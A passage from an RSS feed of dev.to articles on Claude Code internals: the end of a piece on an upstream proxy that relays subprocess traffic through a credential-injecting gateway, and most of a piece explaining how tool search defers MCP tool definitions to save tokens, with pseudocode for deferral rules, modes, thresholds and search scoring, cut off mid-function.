&lt;li&gt;&lt;p&gt;&lt;strong&gt;Download CA&lt;/strong&gt;: Fetch gateway CA from &lt;code&gt;/v1/code/upstreamproxy/ca-cert&lt;/code&gt;, merge with system bundle, write to &lt;code&gt;~/.ccr/ca-bundle.crt&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Start relay&lt;/strong&gt;: Bind TCP server to &lt;code&gt;127.0.0.1:0&lt;/code&gt;, get ephemeral port.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unlink token&lt;/strong&gt;: Delete token file from disk. Token is now heap-only.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Register env function&lt;/strong&gt;: Wire &lt;code&gt;getUpstreamProxyEnv()&lt;/code&gt; into &lt;code&gt;subprocessEnv()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subprocess spawned&lt;/strong&gt;: Model runs &lt;code&gt;curl https://api.datadog.com/v1/metrics&lt;/code&gt;. The subprocess inherits &lt;code&gt;HTTPS_PROXY=http://127.0.0.1:&amp;lt;port&amp;gt;&lt;/code&gt; and &lt;code&gt;SSL_CERT_FILE=~/.ccr/ca-bundle.crt&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CONNECT request&lt;/strong&gt;: curl sends &lt;code&gt;CONNECT api.datadog.com:443 HTTP/1.1&lt;/code&gt; to the local relay.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WebSocket tunnel&lt;/strong&gt;: Relay opens WebSocket to CCR gateway, forwards the CONNECT line with &lt;code&gt;Proxy-Authorization&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Credential injection&lt;/strong&gt;: Gateway MITMs the TLS connection, injects org-configured headers (e.g., &lt;code&gt;DD-API-KEY&lt;/code&gt;), forwards to the real upstream.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bidirectional relay&lt;/strong&gt;: Bytes flow: curl ↔ TCP ↔ protobuf chunks ↔ WebSocket ↔ gateway ↔ Datadog API.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each layer assumes the others might fail. The token lifecycle assumes ptrace might not be blockable. The CA download assumes the endpoint might be down. The relay assumes TCP packets might be coalesced. The protobuf encoder assumes payloads might exceed buffer caps. And the entire system assumes it might not initialize at all — in which case, the session works normally without proxy capabilities, and the debug log explains why.&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>security</category>
      <category>networking</category>
      <category>architecture</category>
    </item>
    <item>
      <title>How Tool Search Defers Tools to Save Tokens</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Wed, 08 Apr 2026 21:10:03 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/how-tool-search-defers-tools-to-save-tokens-3ln5</link>
      <guid>https://dev.to/oldeucryptoboi/how-tool-search-defers-tools-to-save-tokens-3ln5</guid>
      <description>&lt;p&gt;Claude Code can use dozens of built-in tools and an unlimited number of MCP tools. Every tool the model might call needs a definition — a name, description, and JSON schema — sent with each API request. A single MCP tool definition might cost 200–800 tokens. Connect three MCP servers with 50 tools each, and you're burning 60,000 tokens on tool definitions alone. Every turn. Before the model reads a single message.&lt;/p&gt;

&lt;p&gt;That's not sustainable. A 200K context window that loses 30% to tool definitions before the conversation starts is a bad experience. The model has less room to think, compaction triggers sooner, and cost per turn climbs.&lt;/p&gt;

&lt;p&gt;The naive solution is obvious: don't send tools the model doesn't need. But which tools does the model need? You don't know until it tries to use one. And if the tool definition isn't there when the model tries to call it, the call fails.&lt;/p&gt;

&lt;p&gt;Claude Code solves this with a system called &lt;strong&gt;tool search&lt;/strong&gt;. When MCP tool definitions exceed a token threshold, most tools are deferred — their definitions are withheld from the API request. In their place, the model gets a single &lt;code&gt;ToolSearch&lt;/code&gt; tool it can invoke to discover and load tools on demand. The API receives a &lt;code&gt;tool_reference&lt;/code&gt; content block in the search result, expands it to the full definition, and the model can call the tool on its next turn.&lt;/p&gt;

&lt;p&gt;Consider the concrete flow. A user has configured MCP servers for GitHub, Slack, and Jira — 147 tools total. Without tool search, every API call sends 147 tool definitions: ~90,000 tokens. With tool search, the API call sends ~25 built-in tool definitions plus ToolSearch itself: ~15,000 tokens. The model's prompt tells it "147 deferred tools are available — use ToolSearch to load them." When the model needs to create a GitHub issue, it calls &lt;code&gt;ToolSearch({ query: "github create issue" })&lt;/code&gt;. The system returns a &lt;code&gt;tool_reference&lt;/code&gt; for &lt;code&gt;mcp__github__create_issue&lt;/code&gt;. On the next turn, that tool's full schema is available, and the model calls it normally. Total overhead for this discovery: one extra turn, ~200 tokens. Savings over a 20-turn conversation: ~1.5 million tokens.&lt;/p&gt;

&lt;p&gt;This article traces the entire pipeline: the deferral decision, the threshold calculation, the search algorithm, the discovery loop across turns, and the snapshot mechanism that preserves discovered tools across context compaction. Every layer is designed around the same principle: &lt;strong&gt;fail closed, fail toward asking&lt;/strong&gt;. If anything is uncertain — an unknown model, a proxy gateway, a missing token count — the system falls back to loading all tools, never to silently hiding them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Deferral Decision
&lt;/h2&gt;

&lt;p&gt;Not every tool can be deferred. The model needs certain tools on turn one, before it has a chance to search for anything. The deferral decision is a priority-ordered checklist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isDeferredTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Explicit&lt;/span&gt; &lt;span class="nx"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;MCP&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;can&lt;/span&gt; &lt;span class="nx"&gt;declare&lt;/span&gt; &lt;span class="nx"&gt;they&lt;/span&gt; &lt;span class="nx"&gt;must&lt;/span&gt; &lt;span class="nx"&gt;always&lt;/span&gt; &lt;span class="nx"&gt;load&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alwaysLoad&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;MCP&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;are&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="k"&gt;default &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;workflow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;specific&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;often&lt;/span&gt; &lt;span class="nx"&gt;numerous&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isMcp&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;ToolSearch&lt;/span&gt; &lt;span class="nx"&gt;itself&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;never&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s the bootstrap
    if tool.name is "ToolSearch":
        return false

    # Core communication tools are never deferred
    # (Agent, Brief — model needs these immediately)
    if tool is a critical communication channel:
        return false

    # Everything else: defer only if explicitly marked
    return tool.shouldDefer is true
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;alwaysLoad&lt;/code&gt; opt-out is the escape hatch. An MCP server can set &lt;code&gt;_meta['anthropic/alwaysLoad']&lt;/code&gt; on a tool to force it into every API request regardless of deferral mode. This handles tools like a primary database query tool that the model will need on nearly every turn.&lt;/p&gt;

&lt;p&gt;Notice the ordering. &lt;code&gt;alwaysLoad&lt;/code&gt; is checked before the MCP check. This means an MCP tool can opt out of deferral even though MCP tools are deferred by default. And &lt;code&gt;ToolSearch&lt;/code&gt; is checked after the MCP check, which means if someone wraps ToolSearch in an MCP server (don't), it still won't be deferred. The checklist is a priority chain where each rule can only override the ones below it.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;shouldDefer&lt;/code&gt; flag at the bottom is for built-in tools that want to participate in deferral without being MCP tools. Currently this isn't widely used, but it exists as an extension point — a built-in tool could mark itself as deferrable if it's rarely needed and expensive to describe.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three Modes
&lt;/h3&gt;

&lt;p&gt;The deferral system operates in one of three modes, controlled by an environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getToolSearchMode&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Kill&lt;/span&gt; &lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;all&lt;/span&gt; &lt;span class="nx"&gt;beta&lt;/span&gt; &lt;span class="nx"&gt;features&lt;/span&gt; &lt;span class="nx"&gt;are&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;never&lt;/span&gt; &lt;span class="nx"&gt;defer&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;DISABLE_EXPERIMENTAL_BETAS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;standard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

    &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ENABLE_TOOL_SEARCH&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Explicit&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;always defer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;truthy&lt;/span&gt; &lt;span class="nx"&gt;or&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auto:0&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tst&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Threshold&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;based&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;defer&lt;/span&gt; &lt;span class="nx"&gt;when&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;exceed&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="nx"&gt;budget&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;or&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;auto:N&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;where&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;N&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tst-auto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Explicit&lt;/span&gt; &lt;span class="nx"&gt;disable&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;falsy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;standard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;always&lt;/span&gt; &lt;span class="nx"&gt;defer&lt;/span&gt; &lt;span class="nx"&gt;MCP&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;shouldDefer&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tst&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The default mode is &lt;code&gt;tst&lt;/code&gt; — always defer. This is the right default because any user with MCP tools has already accepted the latency of an extra search turn in exchange for a larger effective context window. The &lt;code&gt;tst-auto&lt;/code&gt; mode provides a middle ground: defer only when the token cost actually justifies it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threshold Calculation
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;tst-auto&lt;/code&gt; mode, the system measures how many tokens the deferred tools would consume and compares against a budget:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;threshold = floor(contextWindow * percentage / 100)
# Default percentage: 10%
# For a 200K context model: threshold = 20,000 tokens
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token count comes from the API's &lt;code&gt;countTokens&lt;/code&gt; endpoint when available. The system serializes each deferred tool into its API schema (name + description + JSON schema), sends them to the counting endpoint, and caches the result keyed by the tool name set. The cache invalidates when MCP servers connect or disconnect, changing the tool pool.&lt;/p&gt;

&lt;p&gt;There's a subtlety in the counting. The API adds a fixed preamble (~500 tokens) whenever tools are present in a request. When counting tools individually, each count includes this overhead, so counting N tools individually would report N × 500 tokens of phantom overhead. The system subtracts this constant from the total:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;rawCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;countTokensViaAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deferredToolSchemas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;adjustedCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rawCount&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the token counting API is unavailable — perhaps the provider doesn't support it, or the network request fails — the system falls back to a character-based heuristic. It sums the character lengths of each tool's name, description, and serialized input schema, then converts using a ratio of 2.5 characters per token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;charThreshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokenThreshold&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;totalChars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;
                 &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;each&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;enabled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;totalChars&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;charThreshold&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This heuristic is intentionally conservative. Tool definitions are schema-heavy (lots of short keys and structural characters), which tokenize at a higher density than natural language. A 2.5 chars/token ratio slightly overestimates the token count, biasing toward enabling deferral — the safe direction.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Search Mechanism
&lt;/h2&gt;

&lt;p&gt;When tool search is enabled, the model sees a &lt;code&gt;ToolSearch&lt;/code&gt; tool in its tool list. The tool accepts a query string and returns up to 5 results (configurable). There are two query modes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Direct Selection
&lt;/h3&gt;

&lt;p&gt;The model can request specific tools by name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nc"&gt;ToolSearch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;select:mcp__github__create_issue&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nc"&gt;ToolSearch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;select:Read,Edit,Grep&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;  &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;comma&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;separated&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct selection is a lookup, not a search. For each requested name, the system checks the deferred tool pool first, then falls back to the full tool set. Finding a tool in the full set that isn't deferred is a no-op — the tool is already loaded — but returning it prevents the model from retrying in a loop.&lt;/p&gt;

&lt;p&gt;Why does the fallback to the full tool set matter? After context compaction or in subagent conversations, the model sometimes tries to "select" a tool it previously used, not realizing the tool is already loaded (because its earlier search result was summarized away). Without the full-set fallback, the select would fail, the model would get "no matching deferred tools found," and it would waste a turn figuring out the tool is already available. The fallback makes this a silent success.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keyword Search
&lt;/h3&gt;

&lt;p&gt;When the model doesn't know the exact tool name, it searches by keyword:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nc"&gt;ToolSearch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;slack send message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nc"&gt;ToolSearch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;+github pull request&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;  &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;requires&lt;/span&gt; &lt;span class="nx"&gt;term&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The search algorithm scores each deferred tool against the query terms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;scoreToolForQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;terms&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseToolName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mcp__slack__send_message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;slack&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;send&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;NotebookEdit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;notebook&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;edit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;term&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;terms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Exact&lt;/span&gt; &lt;span class="nx"&gt;part&lt;/span&gt; &lt;span class="nf"&gt;match &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;highest&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;term&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isMcp&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;

        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Substring&lt;/span&gt; &lt;span class="nx"&gt;match&lt;/span&gt; &lt;span class="nx"&gt;within&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;part&lt;/span&gt;
        &lt;span class="nx"&gt;elif&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;term&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;part&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;part&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
